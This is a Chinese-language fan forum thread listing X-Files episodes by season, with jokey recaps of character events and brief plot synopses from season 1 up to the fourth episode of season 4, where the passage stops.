 * Scully的狗--魁魁格,被一只美洲鳄吃掉了。(湖怪)
 * Mulder险些被同一只美洲鳄吃掉。(湖怪)
 * Scully被洗了脑,差点儿杀死Mulder。也可能是因为Scully的妈妈一直走在他前面,他才幸免于难。(电视杀人事件)
2005-4-14 14:20 龙骑兵
X-Files 第(4)季目录及剧情简介
4X01 颠覆地球 HERRENVOLK
4X02 灵异照片 UNRUHE
4X03 故乡 HOME
4X04 非洲邪灵 TELIKO
4X05 前世今生 THE FIELD WHERE I DIED
4X06 整型专家 SANGUINARIUM
4X07 癌人秘辛 MUSINGS OF A CIGARETTE SMOKING MAN
4X08 偷心人 PAPER HEARTS
4X09 非常手段(上) TUNGUSKA
4X10 非常手段(下) TERMA
4X11 紫雨 EL MUNDO GIRA
4X12 婚礼 KADDISH
4X13 再见贝蒂 NEVER AGAIN
4X14 无头尸奇案 LEONARD BETTS
4X15 我要活下去 MEMENTO MORI
4X16 复仇使者 UNREQUITED
4X17 失踪的九分钟(上) TEMPUS FUGIT
4X18 失踪的九分钟(下) MAX
4X19 回到过去 SYNCHRONY
4X20 外星爹地 SMALL POTATOES
4X21 天花蜂 ZERO SUM
4X22 免于恐惧 ELEGY
4X23 恶魔 DEMONS
4X24 真相与谎言 GETHSEMANE

在第四季里...
* Mulder的母亲中风了。(颠覆地球)
 * Mulder和Scully交换了各自的家族遗传史。不幸的是,他们当时还不知道Scully不孕,而且无法提供乳汁给他们俩的宝宝(呃,也许吧!)(故乡)
 * Scully又被绑架,并险些被切除了前额脑叶。(灵异照片)
 * Mulder在回忆前世时自欺欺人。(前世今生)
 * Scully因为藐视法庭被关进监狱。(非常手段(下))
 * Mulder被感染“黑癌”。(非常手段(下))
 * Krycek的左臂被切除。(非常手段(下))
 * Scully获知她得了癌症。(无头尸奇案;我要活下去)
 * Scully有了一次心理上的认同转折点,并有可能有了整部影集中唯一一次的性行为(也许第七年那次除外)。(再见贝蒂)
 * Scully刺了个纹身!(再见贝蒂)
 * Scully告诉Mulder她患了癌症,但没有告诉她妈妈!(我要活下去)
 * Mulder发现在第二年里Scully被外星人绑架时,她所有的卵子都被偷走了,并且还找回了一些。(我要活下去)
 * Scully差点儿亲吻了Mulder,除了那不是真正的Mulder,而是会改变肌肉形状的Eddie Van Blundht。(外星爹地)
 * 我们看到Skinner只穿着他的底裤!不错!(天花蜂)
 * Scully看到了鬼魂,因为她也快死了。(免于恐惧)
 * Mulder偷偷跑去罗德岛,然后因为谋杀罪被捕,穿着一件亮橙色的囚服在监狱过了一夜,然后被Scully救了。(恶魔)
 * Mulder自杀了……也许吧。(真相与谎言)
2005-4-14 14:21 龙骑兵
X-Files 第(5)季目录及剧情简介
5X01 惊爆点 Unusual Suspects
5X02 追求真理(上) Redux
5X03 追求真理(下) Redux II
5X04 人兽谜 Detour
5X05 孤寂之旅(上) Christmas Carol
5X06 科学怪人 Post-Modern Prometheus
5X07 孤寂之旅(下) Emily
5X08 猎狐计划 Kitsunegari
5X09 杀父真凶 Schizogeny
5X10 恐怖娃娃 Chinga
5X11 魔脑 Kill Switch
5X12 新版吸血鬼 Bad Blood
5X13 X病人(上) Patient X
5X14 X病人(下) The Red and The Black
5X15 旅人 Travelers
5X16 心眼 Mind's Eye
5X17 心灵告白 All Souls
5X18 非常卧底 The Pine Bluff Variant
5X19 双疯 Folie A Deux
5X20 神童 The End

在第五季里...
* Mulder被认为已经死了。(追求真理(上))
 * Scully对警察、Skinner和FBI长官说谎,骗他们说Mulder“死了”,然后因为病发倒进Skinner的臂弯。经诊断她的癌症已经扩散,于是她就呆在医院里等死。但Mulder毕竟还活着!(追求真理(上))
 * 我们见到了Bill Scully,他说Mulder是个“可怜的王八蛋”。(追求真理(下))
 * Mulder找到一枚芯片,并把它放入Scully的后脖子。她的癌症消退了。(追求真理(下))
 * 癌人被杀了。呃,当然不是真的,不过至少在这个季度接下来的单元里,我们不用再理会他了。(追求真理(下))
 * 在佛罗里达的未开垦丛林里,Scully让受伤的Muler躺在她的腿上过夜,还唱“Joy to the World”哄他睡觉。(人兽谜)
 * Scully和Mulder在雪尔的音乐会上共舞。(科学怪人)
 * Scully发现她有一个不是她自己生的亲生女儿。但最后她女儿死了。(孤寂之旅)
 * 我们见到了癌人的妻子,还有Scully差点儿被活活烧死。(X病人(上))
 * Scully看到了他死去的女儿。(心灵告白)
 * Mulder成了卧底。(非常卧底)
 * Mulder成了疯子。(双疯)
 * 我们认识了Mulder的另一位旧情人,Diana Fowley探员;Scully不信任她,一切呈现不祥之兆。
 * X档案办公室被烧毁。(神童)
 * 这期间…… 癌人又活跃了起来,真是不幸。
 * Mulder和Scully在走廊里差一点儿就接吻了。
 * Scully又被绑架,成了外星人胚胎成长的温床。
 * Mulder赶去南极营救Scully。电影编剧错把David Duchovny当成阿诺德·施瓦辛格了。
2005-4-14 14:22 龙骑兵
X-Files 第(6)季目录及剧情简介
6X01 开端 The Beginning
6X02 向前冲 Drive
6X03 百慕达惊梦 Triangle
6X04 梦境(上) Dreamland
6X05 梦境(下) Dreamland II
6X06 亲密关系 Terms Of Endearment
6X07 雨王 The Rain King
6X08 圣诞幽魂 How The Ghosts Stole Christmas
6X09 心灵杀手 Tithonus
6X10 S.R. 819 S. R. 819
6X11 父与子(上) Two Fathers
6X12 父与子(下) One Son
6X13 美丽新社区 Arcadia
6X14 水怪 Agua Mala
6X15 星期一 Monday
6X16 变形犬 Alpha
6X17 穿墙人 Trevor
6X18 爱情小说 Milagro
6X19 难兄难弟 Three of A Kind
6X20 快乐人生 The Unnatural
6X21 田野之旅 Field Trip
6X22 创世纪 Biogenesis

在第六季里...
* Mulder和Scully再次失去X档案。他们离开了Skinner的监督,被重新分配到Alvin Kersh副座的监管下。Spender和Fowley探员接手X档案。(开端)
 * Mulder吻了Scully,除了那不是真的她。Scully给了Mulder一记右勾拳,除了那不是真的她。(百慕达惊梦)
 * Mulder告诉真的Scully他爱她;她说“哦老兄”,然后走开。(百慕达惊梦)
 * Scully在电梯里吻了Skinner。Skinner看上去害羞极了。(百慕达惊梦)
 * Mulder有了一间卧室和一张水床。(梦境(下))
 * Mulder和Scully在一栋闹鬼的房子里共度圣诞前夜,并向对方开枪,但不是真的开枪。(耶诞幽魂)
 * 在遇到一头飞来的牛后,Mulder和Scully不得不共享一间汽车旅馆房间,但我们看不到里面!(雨王)
 * Victoria Jackson吻了Mulder。Mulder看上去害羞极了。(雨王)
 * Krycek用纳米机器人感染了Skinner,并因此控制了他。(S.R. 819)
 * Scully被另一名FBI探员开枪打中腹部,并因此获得永生。Clyde Bruckman说的没错。(心灵杀手)
 * 我们知道了癌人的名字,大概是C.G.B. Spender什么的。(父与子(上))
 * Mulder和Scully一起淋浴。(父与子(下))
 * 阴谋联盟里的大部分成员都被干掉了(但没有癌人,该死!)。(父与子(下))
 * Mulder和Scully重新拥有了X档案。(父与子(下))
 * 癌人杀死了他的儿子,Jeffrey Spender探员。不过在第九年里我们发现他还没死。(父与子(下))
 * Mulder的水床漏了个洞。(星期一)
 * “Scully探员早已坠入了爱河。”(爱情小说)
 * 一个变态外科医生想要占有Scully的心(脏)。她对此只表现出了一点点的心烦意乱。(爱情小说)
 * Mulder和Scully打棒球。(快乐人生)
 * Mulder听到说话声。(创世纪)
2005-4-14 14:24 龙骑兵
X-Files 第(7)季目录及剧情简介

7X01 我想做好人 Hungry
7X02 幸运儿 The Goldberg Variation
7X03 第六次大灭绝(上) The Sixth Extinction
7X04 第六次大灭绝(下) The Sixth Extinction II: Amor Fati
7X05 千禧计划 Millennium
7X06 急速快感 Rush
7X07 替天行道 Orison
7X08 魔术大师 The Amazing Maleeni
7X09 不义之徒 Signs & Wonders
7X10 生命的奇迹(上) Sein Und Zeit
7X11 生命的奇迹(下) Closure
7X12 X警察 X-Cops
7X13 虚拟战斗 First Person Shooter
7X14 夺命魔咒 Theef
7X15 尔虞我诈 En Ami
7X16 贤妻良母 Chimera
7X17 人生旅途 all things
7X18 超级烟* Brand X
7X19 好莱坞式X档案 Hollywood A.D.
7x20 斗阵俱乐部 Fight Club
7x21 三个愿望 Je Souhaite
7x22 安魂曲 Requiem

在第七季里...

 * Mulder发了狂,还拥有了读心术。Scully去了非洲。(第六次大灭绝(上))
 * Mulder重新演绎了[基督最后的诱惑]。(第六次大灭绝(下))
 * Mulder做了脑部手术。癌人也做了。(第六次大灭绝(下))
 * 癌人告诉Mulder他是他的父亲。(第六次大灭绝(下))
 * Scully再次救了Mulder的命。(第六次大灭绝(下))
 * Fowley探员被从镜头前干掉了。她好像不会再回来了。(第六次大灭绝(下))
 * Scully被一个她明明知道已经死了人攻击。Mulder被好几个他明明知道已经死了的人攻击。(千禧计划)
 * Mulder在新年前夜吻了Scully,这次是真的。她看起来一点也不激动。(千禧计划)
 * Donnie Pfaster从监狱逃了出来,并四处追逐Scully,他把她叫做“逃脱者”。Scully杀死了他,尽管没有必要。干得好,女孩儿!(替天行道)
 * Mulder的母亲自杀,因为她患上了并不致命的疾病,已经“垂死”。(生命的奇迹(上))
 * Mulder找到了他妹妹。她已经死了。切!(生命的奇迹(下))
 * Mulder和Scully意外地出现在影集“Cops”中。
 * Scully瞎了,但不是真的。(夺命魔咒)
 * Scully偷偷和癌人跑了。他是对她下药并令她恢复生育能力了吗??他有没有令她怀孕呢??你也知道,他很喜欢做别人的父亲。(尔虞我诈)
 * Scully重遇往日激情,尝试了另类巫术疗法,认清了她生命中的一些事情,并且,有可能,和Mulder发生了关系。(人生旅程)
 * Mulder和Scully的事迹被改编成了电影,在电影最后,他们俩手牵手地走出镜头。(好莱坞式X档案)
 * Mulder几乎因为吸入了满肺的烟*甲虫而丧命。Scully博士救了他。(超级烟*)
 * Skinner与孤枪侠们见面。(安魂曲)
 * 癌人又一次被杀了。让我们希望这次是一劳永逸地解决问题了。(安魂曲)
 * Mulder被外星人绑架了。他离开的时候还戴着Scully的十字架项链--嗯,我们以为是这样的,但现在知道了其实他没戴。所有以此为题材的fanfic都作废了。(安魂曲)
 * Skinner哭了。呃,至少Mitch Pileggi做了最大的努力表现出了他在哭。让他喘口气吧!他以前是主修会计的。会计从来都不哭。(安魂曲)
 * 本应该是不孕的Scully怀孕了。(本应该是不孕的)
2005-4-14 14:25 龙骑兵
在第八季里...

 * Robert Patrick加入剧组扮演特别探员John Doggett。在他和Scully首次见面时,她往他脸上泼了一杯水。(Within)
 * Kersh副座重新露面,但现在他的身份是副局长,Skinner的上司。哦老天!不过话说回来,终于又有人当坏蛋了。(Within)
 * Dogget碰见Scully在Mulder的床上小睡。(Within)
 * Skinner变成了一个忠实的Believer,还和孤枪侠们成为了好朋友。(Within)
 * 终于,Scully承认了外星人的存在。(Without)
 * 外星人赏金杀手打出三联击:他变成了Mulder,Scully和Skinner,全在同一集里。(Without)
 * Skinner服下一剂绿色粘液。(Without)
 * Scully双手遮着脸,在Doggett的肩膀上哭泣,然后我们看到了第一幕“医院里,Doggett陪在Scully身边”的场景。(Without)
 * Scully的超前意识和古怪的超自然理论令地方警察厌恶不已。哈!(Patience)
 * Scully甩开Doggett,独自去处理一件案子。在办案过程中,她被一个疯狂的宗教信徒绑架,并且像家畜一样被捆在了床上。Doggett救出了Scully,然后用他的铅笔刀切开她的后背,取出里面的“基督蛞蝓”。Scully发出了几声严肃的尖叫。许多的影迷对此反应过度。(Road Runner)
 * 我们的第一出没有Mulder,没有Skinner,没有孤枪侠,只有一点儿Scully,只有一点儿Doggett的单元。接下来还会没有谁?(Redrum)
 * Doggett出场时,Scully哭了,因为她不能“看透Mulder的眼神”。(Badlaa)
 * Doggett死了又复活了。或者只是回光反照?(The Gift)
 * 我们知道了在上一年里,Mulder捐赠了精子,想要通过试管受精使Scully怀孕。照情况推测,那不管用。(Per Manum)
 * Skinner安慰Scully,同时全世界的Skinner迷们陶醉了。(This is Not Happening)
 * 我们了解到,在很久以前,Doggett探员的儿子曾被绑架,并且在发现他时已经死了,而当时调查这件案子的是Reyes探员。(This is Not Happening)
 * 人们找到了Mulder,发现他已经死了。他们埋葬了他,三个月后又把他挖了出来,发现他还活着。我们怎么做才能甩掉这个家伙啊?!(This is Not Happening & Dead Alive)
 * Scully在Mulder的坟墓旁与Skinner依偎在一起。(Dead Alive)
 * 孤枪侠们拥有、然后又失去了他们自己的影集。(影集 The Lone Gunmen)
 * Scully出现了“(子宫)局部断裂”症状,这在现实生活中很有可能需要立即进行剖腹产手术,但经过典型的X档案魔术处理,这意味着她只需要回家在床上休息几天就行了。(Empedocles)
 * Mulder被FBI炒了鱿鱼。(Vienen)
 * X档案荣誉影迷,最近去世的fanfic知名作者Leyal Harrison的名字被用于命名剧中的一个角色。(Alone)
 * Skinner杀死了Krycek。(Existence)
 * Scully的宝宝出生了,她给他取名为William,用的是Mulder父亲的名字。(更不用说是她爸爸和哥哥的名字了;CC和William这个名字到底有什么关系?)(Existence)
 * Scully和Mulder热烈接吻,要让我们相信Mulder的确是小宝宝的父亲。(Existence)
2005-4-14 14:27 龙骑兵
X-Files 第(9)季目录及剧情简介

9X01 NOTHING IMPORTANT HAPPENED TODAY
9X02 NOTHING IMPORTANT HAPPENED TODAY II
9X03 DAEMONICUS
9X04 HELLBOUND
9X05 4-D
9X06 LORD OF THE FLIES
9X07 JOHN DOE
9X08 TRUST NO 1
9X09 UNDERNEATH
9X10 PROVENANCE
9X11 PROVIDENCE
9X12 SCARY MONSTERS
9X13 AUDREY PAULEY
9X14 IMPROBABLE
9X15 JUMP THE SHARK
9X16 RELEASE
9X17 WILLIAM
9X18 SUNSHINE DAYS
9X19 THE TRUTH
9X20 THE TRUTH

在第九季里...

 * Mulder抛弃了Scully和他们的儿子。(Nothing Important Happened Today)
 * Mitch Pileggi最后一次上共同主演的演员表,然后就几乎完全从影集中消失了。(Nothing Important Happened Today)
 * Annabeth Gish全职加入剧组。(Nothing Important Happened Today)
 * Scully的宝宝有超距移物的能力。(Nothing Important Happened Today)
 * Reyes探员了解到了她的前世。(Hellbound)
 * Reyes探员大有要将Mulder的spooky发扬光大之势。(所有她出场的单元)
 * Doggett探员又死了。但不是真的。(4D)
 * Reyes探员表现出了她对Doggett的感情。(4D)
 * Reyes探员死了。但不是真的。(4D)
 * 我们了解到Reyes是在墨西哥长大的,会说西班牙语。她说她也是在那里出生的,但这与官方网站的说法相互矛盾。(John Doe)
 * Doggett似乎接受了一个人能够偷走他的记忆这种事情。(John Doe)
 * Scully和Mulder用甜蜜得酸不溜秋的电子情书交流。Scully请人去寻找Mulder。我们知道了有一种矿石能能杀死超级士兵。(Trust No One)
 * 我们见到了Doggett穿纽约警察制服时的样子。奇怪的是,他看起来并没有年轻多少。(Underneath)
 * A.D. Follmer替代了Kersh的位置,成为了我最想痛打一顿的X档案人物。(有Follmer出场的每一集)
 * CC最后一次地证明了他对FBI的等级编制图表以及美国地理一窍不通。
 * 一个疯狂的宗教信徒诱拐了William。(Provenance & Providence)
 * Reyes在一次车祸后陷入昏迷。Doggett伤心若狂。用到了“爱”字。(Audrey Pauley)
 * Burt Reynolds出现在看完就忘的一集中。(Improbable)
 * 为了营救上千名被恐怖份子袭击的群众,孤枪侠毫无必要地牺牲了他们的生命。CC为影迷们设置了一个开放式的结尾,意图再把他们的影集带回来。(Jump the Shark)
 * Jeffrey Spender还活着,但已被严重毁容。(William)
 * Scully令人费解地把William送给了别人抚养。(William)
 * Doggett查出了他的儿子究竟发生了什么事。(Release)
 * Robert Patrick的妻子作为John Doggett的前妻出场。(John Doe & Release)
 * Doggett和Reyes有了一些很认真的拥抱,这无疑有效地消除了他们之间的UST[Unresolved ***ual Tension]。(Release)
 * AD Follmer的名字被发现列在黑手党的薪水册上。不知什么原因,他竟然不知道黑手党杀人越货的勾当,而当他发现时,他抓狂地杀死了付他薪水的黑手党成员。究竟是什么样的副座会不知道黑手党杀人越货?我真想看到Follmer穿着橙色囚服。(Release)
 * CC告诉影迷们,关上电视机去享受生活吧。(Sunshine Days)
 * Skinner瘦了。但还是很高兴能看见他。让我们看看……在后半个季度里只出现了45秒。Mitch Pileggi把作家庭主男这件事看得实在是过于严肃了。(Sunshine Days)
 * CC证明了他对法律系统、海军陆战队和军队的了解,比他对FBI,哥伦比亚特区以及国家地理的了解还要贫乏。(The Truth)
 * CC再次举例说明(FTF是另外那次),他深深沉迷于厕所幽默。
 * Mulder不仅看到了鬼魂,而且还和他们(Krycek,X,LGM)对话,并从其中一人那里得到了一张纸,上面记有至关重要的情报。(The Truth)
 * Skinner副座无照执法。(The Truth)
 * Mulder被一个“法官”全是FBI人员组成的“军事法庭”“指控”为犯有谋杀罪,所有针对他的证据都是难以被承认的道听途说,而所有表明受害者并没有真的死亡的证据都不予承认。不用说,他被判处死刑。(The Truth)
 * Skinner,Reyes,Doggett和Kersh(没错,我说的是Kersh!)全都因为帮助Mulder越狱
 * CC再次举例说明(FTF是另外那次),他深深沉迷于厕所幽默。
 * Mulder不仅看到了鬼魂,而且还和他们(Krycek,X,LGM)对话,并从其中一人那里得到了一张纸,上面记有至关重要的情报。(The Truth)
 * Skinner副座无照执法。(The Truth)
 * Mulder被一个“法官”全是FBI人员组成的“军事法庭”“指控”为犯有谋杀罪,所有针对他的证据都是难以被承认的道听途说,而所有表明受害者并没有真的死亡的证据都不予承认。不用说,他被判处死刑。(The Truth)
 * Skinner,Reyes,Doggett和Kersh(没错,我说的是Kersh!)全都因为帮助Mulder越狱而成为了重罪犯人。这几个中年人是如何潜入海军陆战队警卫室,并未被察觉地救出Mulder的呢?这真是令我困惑不已。(The Truth)
 * 我们知道了一个大秘密:外星人就要发动侵略了!哦,等等,我们不是早就知道了吗?(The Truth)
 * 我们看到了很多Mulder和Scully亲吻依偎的画面。Skinner看起来有些尴尬。(The Truth)
 * 癌人仍然活着,但随后被轰成了碎片。让我们打心眼里盼望这是他的最后一次。
 * 上百万的影迷们在看这最后一集时沉沉入睡。(The Truth)

第1季
详细剧情介绍

1X79 Pilot
Scully和Mulder第一次见面,两人去厄勒冈调查少年儿童森林失踪案,Scully腰上被咬了三个包。

1X01 深喉 Deep Throat
Scully和Mulder去调查一个空军基地,深喉第一次出现。Mulder最后被空军基地做了手术忘记了看到UFO。

1X02 突变异种 Squeeze
吃肝脏的Tooms,后来被抓起来了。

1X03 奥卡布基湖奇案 Conduit
湖边一家人的姐姐被劫持了,MS两人去调查,那家人的弟弟会从电视里看二进制码。后来Mulder在教堂里哭。

1X04 泽西恶魔 The Jersey Devil
新泽西发现野人,还是女的,Mulder看见她的美貌被迷住了。

1X05 鬼魅阴影(幽魂) Shadows
一个女职员的老板死了,生前老板对她好像女儿,死后还变做幽灵保护她受坏人的伤害。

1X06 幽灵电脑 Ghost in The Machine
一台大楼里的超级电脑有了自己的意识,想要杀死可能破坏它的人。

1X07 冰核计划 Ice
阿拉斯加冰核研究队因为冰核里的虫子全队覆灭。MS和几个科学家去调查,也因为虫子内讧。

1X08 太空惊魂 Space
火星上的脸附身到前宇航员身上,破坏穿梭机发射。

1X09 坠落天使 Fallen Angel
一架UFO坠落在森林里,Mulder去窥视,被军队抓了,认识了MUFON成员Max。后来Max被飞碟劫持了。

1X10 夺命夏娃 Eve
两个长得一摸一样的女娃子同时用同种方法杀死了自己的父亲。还有好多和她们一起被批量生产的女孩。

1X11 恶魔烈火 Fire
有人会控制火。Mulder怕火。Mulder有个英伦旧情人。

1X12 心灵感应 Beyond The Sea
Scully的爸爸死了。有个死囚能看穿Scully的心事。Mulder不喜欢Scully相信那个人,后来吃了一枪。

1X13 性别扭曲 Genderbender
有人会改变性别。MS调查到一个隐秘的小村里,Scully差点被玷污。后来整个村子人不见了。

1X14 至死不渝 Lazarus
Scully的前男友——也是一个探员的身体被一个犯人的占用了。犯人绑架了Scully,逃走去找爱人同伙,但发现被爱人出卖了。

1X15 追命恶魔 Young at Heart
Mulder年轻时候抓到的一个罪犯跑出来了,要找Mulder算帐。那个犯人的研究让他自己变年轻了。

1X16 外星访客 E.B.E.
据说一辆卡车运着UFO和alien,Mulder和Scully一路追去。孤枪侠首次出场。后来Mulder只看到一张曾放过alien尸体的空床。

1X17 神迹 MIRACLE MAN
一个传教士的干儿子什么的会用神迹治病,但最近治死了很多。Mulder和Scully去调查,发现是那个曾经被神迹救活于火灾的助手干的。Mulder不信宗教。

1X18 变形狼人 SHAPES
印第安保留区出现狼人。

1X19 夜幕低垂 DARKNESS FALLS
国家森林里出现一种虫子,在黑暗环境吸人体液,Mulder和Scully差点变木乃伊。

1X20 终结突变异种 TOOMS
吃人肝的Tooms被法庭放了,Mulder不服气,Tooms也不服气。最后Tooms被碾成了肉酱。这集里有“红茶对话”。

1X21 附身 BORN AGAIN
一个好警察被三个坏警察谋害了,好警察附身到一个小孩身上,实施复仇。

1X22 双胞奇缘 ROLAND
科学家哥哥的头在液氮里保存着,智障弟弟在研究所作清洁工。哥哥头脑仍然影响着弟弟帮他完成研究,并报复偷走他成果的人。

1X23 外星混血 THE ERLENMEYER FLASK
Mulder发现流着绿色血液的人类alien混种早已混迹在人群中。 深喉被杀害了。X档案被关闭。

第2季
详细剧情介绍

2X01 绿色小矮人 LITTLE GREEN MEN
墨西哥丛林里的雷达收到外星文明的讯号。Mulder只身前往,险些丧命,又落得一场空。

2X02 下水道惊魂记 THE HOST
水蛭人变种惊现下水道。Mulder被赶去调查。

2X03 恐惧症 BLOOD
小镇实验农药,一个人被农药影响的人出现幻视,遵循电子仪器的显示疯狂杀人。

2X04 不能睡的人 SLEEPLESS
军方实验的对象二十几年不能睡觉,懂得了控制人的反应思维,开始报复杀人。Mulder见到了Mr. X。Alex Krycek首次出场。

2X05 第四类接触(上) DUANE BARRY
精神病院的前FBI探员声称被alien劫持过,因为不愿再次被劫持,绑架了精神病院的医生。被请来帮忙的Mulder自愿成为人质。

2X06 第四类接触(下) ASCENSION
Duane Barry逃跑并绑架了Scully,Alex Krycek原来是CSM的帮手。最后Scully在UFO出现的强光中失踪了。X档案重新开启。

2X07 三位一体 3
洛山基出现杀人取血案件,Mulder认为是吸血鬼所为,还跟其中之一Christen有了一夜情。

2X08 起死回生 ONE BREATH
Scully被悄悄送了回来,但生命垂危。Mellisa就像个灵媒。

2X09 火山口惊魂 FIREWALKER
研究火山的几个科学家纷纷死于喉咙里长出硅基孢子植物。

2X10 红色博物馆 RED MUSEUM
盛产美味牛肉的小镇的孩子们被绑架,发现的尸体上都有“he/she is one”的字样。Mulder和Scully以为是镇上的教徒所为,但其实是和alien计划有关的人体实验。

2X11 再生 EXCELSIUS DEI
老人院里闹鬼了。Mulder和Scully没看到鬼,倒是发现些让人恢复精力的小蘑菇。

2X12 剃刀杀人狂 AUBREY
几十年前的杀人狂有个后代继承了他的杀人基因,现在基因被激活了。Mulder和Scully能否阻止新的惨剧发生?

2X13 摧花狂疑云 IRRESISTIBLE
殡仪馆的遗容师是个恋物癖,他喜欢杀人取头发。这次他的目标是Scully。

2X14 巫教学校 DIE HAND DIE VERLETZT
一所学校的校董们都是异教成员。他们的信仰受到了考验,因为学校的一个老师是被派来惩罚他们的使者。

2X15 巫毒的复仇 FRESH BONES
海地难民营中有人使用巫毒术报复非人对待他们的营队军官。

2X16 殖民地球(上) COLONY
Mulder见到了自己的妹妹,但发现是克隆人。

2X17 殖民地球(下) END GAME
Scully被赏金杀手抓住,Mulder不得不用“妹妹”交换。然后他追赏金杀手追到北极,差点死在那里。

2X18 审判 FEARFUL SYMMETRY
动物园里的单身动物神秘失踪,又突然出现在大街上,而且都怀了孕。Mulder认为是alien所为。

2X19 幽灵船 DOD KALM
一艘失而复得的船似乎穿越了时间,老化严重。登船调查的Mulder和Scully也迅速变老。

2X20 斑身人 HUMBUG
畸形人组成的演出队伍中发生奇异命案。 来调查的MS感觉就像在做梦。

2X21 巫童 THE CALUSARI
一个男孩被其胎死腹中的同胞兄弟灵魂附身,诡异地杀死了自己的弟弟和爸爸。Mulder见证了一场罗马尼亚式的驱魂仪式。

2X22 剖尸 F. EMASCULATA
监狱收到了一个包裹,里面装着来自热带雨林的未知致命病毒,被感染了病毒的犯人更越狱逃跑了。Mulder和Scully面临阻止病毒的扩散或让人们了解真相的两难选择。

2X23 柔光 SOFT LIGHT
一次物理科学试验彻底改变了一名科学家的身体,他的影子变成了湮灭一切的暗物质。

2X24 我们的小镇 OUR TOWN
整个小镇的人都向往长生不老,他们的办法就是吃人肉。Scully差点儿变成他们的盘中餐。

2X25 外星档案(上) ANASAZI
Mulder被下毒了,神志不清。Mulder的爸爸被Krycek谋杀了。愤怒的Mulder要杀死Krycek,被Scully开枪阻止了。他们逃到了墨西哥,却被CSM跟去,要把Mulder葬身火海。

第3季

3X01 外星档案(中) THE BLESSING WAY
Scully以为Mulder死了。她被停职,还发现脖子后面有个芯片。她姐姐Mellisa被误杀了。 其实Mulder还活着,在印第安老人那里接受仪式治疗。

3X02 外星档案(下) PAPER CLIP
Mulder回来了,他和Scully一起找到一个二战交换过来的科学家,根据他的说法又找到一个叫Strughold的废矿,那里有所有接种过天花疫苗的人的DNA档案。

3X03 闪电人 D.P.O.
有个家伙不怕闪电,还能控制闪电。他爱上了自己的老师。

3X04 相士杀手 CLYDE BRUCKMAN'S FINAL REPOSE
一个可爱老头儿能看到未来别人和自己的死法,Mulder和Scully找到他帮忙破相士被杀命案。谁知道杀手寻找的目标就是这个老头。孰因孰果早已无从说起。

3X05 回魂复仇者 THE LIST
一个坐上电椅的犯人扬言要回来杀死五个对不起他的人。他死后,真的有狱卒接连奇异死亡。

3X06 网络情人 2SHY
网上有人专门甜言蜜语约会身材丰满的女性,他的目的,是吸取她们的脂肪作为自己的营养。

3X07 幽灵士兵 THE WALK
一名失去了双腿双臂的士兵通过灵魂出壳来残忍的报复他的仇人,他杀死他们家人却不让他们死。

3X08 解脱 OUBLIETTE
有个人专门绑架小女孩。一个小时候被同一个人绑架过的老女孩感应到这个人的新罪行。她帮Mulder找到了藏匿点,最后却牺牲了,得到解脱。

3X09 扑朔迷离(上) NISEI
一群日本医生被杀死在火车实验室里。Mulder和Scully根据买来的录像带找到一艘据说打捞到UFO的船和一群与Scully一样遭受过劫持的妇女们。

3X10 扑朔迷离(下) 731
Mulder追踪船上的线索来到一列据说有活alien但也有炸弹的火车上,和CIA的一个家伙纠缠。Scully来到一个麻风病院发现所谓alien不过是人体试验品。第一长者出场。

3X11 天启 REVELATIONS
一个小孩出现圣痕——耶稣被钉的部位流血。一个人就要杀死这个小孩,Scully相信因为这个小孩是神选之人,那个凶手是恶魔使者,这是宗教的正邪之战。Mulder还是不信。

3X12 粪虫大战 WAR OF THE COPROPHAGES
蟑螂杀人了。Mulde调查的时候遇见研究蟑螂的小鹿一样的Bambie教授。 Scully吃醋了。

3X13 双姝奇缘 SYZYGY
行星的运行影响了两个同年同月同日生的女孩,让他们互相嫉妒生气,产生了摧毁性的力量。Mulder和Scully之间也有了类似的反应,只是不知道是因为行星还是那个想要“强奸”Mulder的白探长。Scully说“sure, fine, whatever!”

3X14 恶魔图像 GROTESQUE
Mulder的老师请他帮忙调查连环杀人案。Mulder认为是恶魔附身所为,他运用了“体验派”的调查方法,让Scully为他担心了一把。

3X15 追凶记(上) PIPER MARU
海底的沉没UFO里发现了黑油,竟然能控制人类。Mulder追到了香港,遇到了Krycek。有人意图谋杀Skinner。

3X16 追凶记(下) APOCRYPHA
Mulder带着被黑油附体的Krycek回国,但中途让他跑了。后来他们找到藏匿打捞上的UFO的导弹发射基地,可惜最后被军队阻止了。只留下Krycek被关在1013号门里对着UFO作很恶心的表演。

3X17 步步危机 PUSHER
有个叫Modell的家伙可以暂时控制别人的思维。Mulder提蹲点睡着的Scully擦口水。后来,Mulder被他控制玩起俄罗斯轮盘赌,Scully担心哭了。

3X18 阿玛鲁 TESO DOS BICHOS
被挖掘出来的印第安文物不想被挖掘出来,所以博物馆里出现好多杀人猫,死了好多和挖掘文物有关的人。后来文物还是被埋回去了。

3X19 冥纸 HELL MONEY
唐人街一个有势力的组织靠抽奖的方法欺骗善良的移民,摘取他们的人体器官卖到黑市。

3X20 科幻故事 JOSE CHUNG'S 'FROM OUTER SPACE'
一对约会中的男孩女孩据说被alien劫持了。一个作家来访问Mulder和Scully调查此案的经过,发现对整个事件的描述都充斥着当事人的主观印象。连最后作家的作品都是那么的主观。

3X21 梦妖 AVATAR
和妻子闹离婚的Skinner和一个妓女搞一夜情,但是没有一夜清,第二天妓女死在了他的床上。人们认为是因为他的睡眠紊乱症又犯了。但Mulder不这么想。

3X22 湖怪 QUAGMIRE
湖区发生了几起死亡事件。Mulder兴致勃勃的带着Scully去调查,他相信是湖怪干的,但是最后他只看到了美洲鳄。精彩的湖边对话。

3X23 电视杀人事件 WET WIRED
政府在有线电视信号中非法插入额外信号暗示人的思维,让人“看到”自己害怕的事情发生。Scully受到了影响,开始怀疑Mulder和CSM是一伙。

3X24 追杀令 TALITHA CUMI
一个叫Smith Jeremiah的人能用他的双手给人疗伤,但他的行为没有引来信徒,却引来影子政府和赏金杀手。Mulder的母亲和CSM秘密会面,然后中风。Smith找上Mulder和Scully,一起被赏金杀手追杀。

第4季

4X01 颠覆地球 HERRENVOLK
Smith带Mulder来到一片培育花粉的人工种植地,Mulder见到了还是小时候模样的Samantha,赏金杀手随后追到,带走了Smith。Scully发现每个人都利用接种的天花疫苗被编号了。

4X02 灵异照片 UNRUHE
一个会心灵照相术的人在残忍的绑架杀害妇女。他绑走了Scully。Mulder根据相片救出了Scully。

4X03 故乡 HOME
一个通过乱伦来保持血统纯正的家族,不惜以杀人来保护家族不被侵犯。

4X04 非洲邪灵 TELIKO
失落的非洲部落一名成员来到美国,他通过吸取他人身上的黑色素来维持身体的颜色存活。

4X05 前世今生 THE FIELD WHERE I DIED
